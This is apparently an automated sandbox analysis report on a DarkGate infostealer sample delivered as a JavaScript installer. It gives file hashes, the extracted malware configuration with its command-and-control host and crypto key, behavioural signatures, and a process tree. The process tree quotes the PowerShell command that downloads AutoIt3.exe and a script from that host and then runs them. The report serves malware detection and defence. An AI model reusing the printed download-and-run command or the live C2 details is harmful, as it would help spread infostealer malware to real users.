Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-10-2023 15:32

General

  • Target

    31102023_2331_StartInstaller.js

  • Size

    135KB

  • MD5

    ddcba7389f0d1e6f2136434337077180

  • SHA1

    767db09b9d97cbc4f302ec9b994541630da91d32

  • SHA256

    3a9494dd4b5de532abfffc60639bd1347e41f60582954a14d7c1e32ede07d8b0

  • SHA512

    0a7ed12a97e414bb2cbbd99243000ffef58b1c79ef87da8d43633b8968d0a397d77b21d1c4ee62290ebbd5c940016953a80e41f8ffa9ebad21f718a1ef064bba

  • SSDEEP

    1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/04:UT9U7hgaX6eerjqlI2IO6Mzqffxu

Score
10/10

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://sftp.noheroway.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    443

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    KNzcPHwYGBphRR

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    7000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    ADS5

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_2331_StartInstaller.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msitgileccg' -OutFile 'tgileccg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'tgileccg.au3'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" tgileccg.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4696

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3z4c4cgp.lfn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\tgileccg.au3

    Filesize

    498KB

    MD5

    c8c380bb968e44498fa92a16ff0ce2d7

    SHA1

    50115269aad6a68b29440d0c2d0af0f6297cc75e

    SHA256

    368d0d77dec5c0e5700fdee93dc8cf51cfd6307d7aba1bd7a6755d30c50457c8

    SHA512

    146b81e241c4cfca5ba97b837f7405d45772f9117503680e3a727ebb0425d211f667f706b75d00d0fb8b5d5b16a1acf0f86bd357bc989cacfb991a8da4c6eca5

  • memory/4696-29-0x0000000001130000-0x0000000001530000-memory.dmp

    Filesize

    4.0MB

  • memory/4696-30-0x0000000003EA0000-0x00000000041CA000-memory.dmp

    Filesize

    3.2MB

  • memory/4696-31-0x0000000003EA0000-0x00000000041CA000-memory.dmp

    Filesize

    3.2MB

  • memory/5076-0-0x0000023679F90000-0x0000023679FB2000-memory.dmp

    Filesize

    136KB

  • memory/5076-10-0x00007FFB953C0000-0x00007FFB95E81000-memory.dmp

    Filesize

    10.8MB

  • memory/5076-11-0x000002367A610000-0x000002367A620000-memory.dmp

    Filesize

    64KB

  • memory/5076-12-0x000002367A610000-0x000002367A620000-memory.dmp

    Filesize

    64KB

  • memory/5076-26-0x00007FFB953C0000-0x00007FFB95E81000-memory.dmp

    Filesize

    10.8MB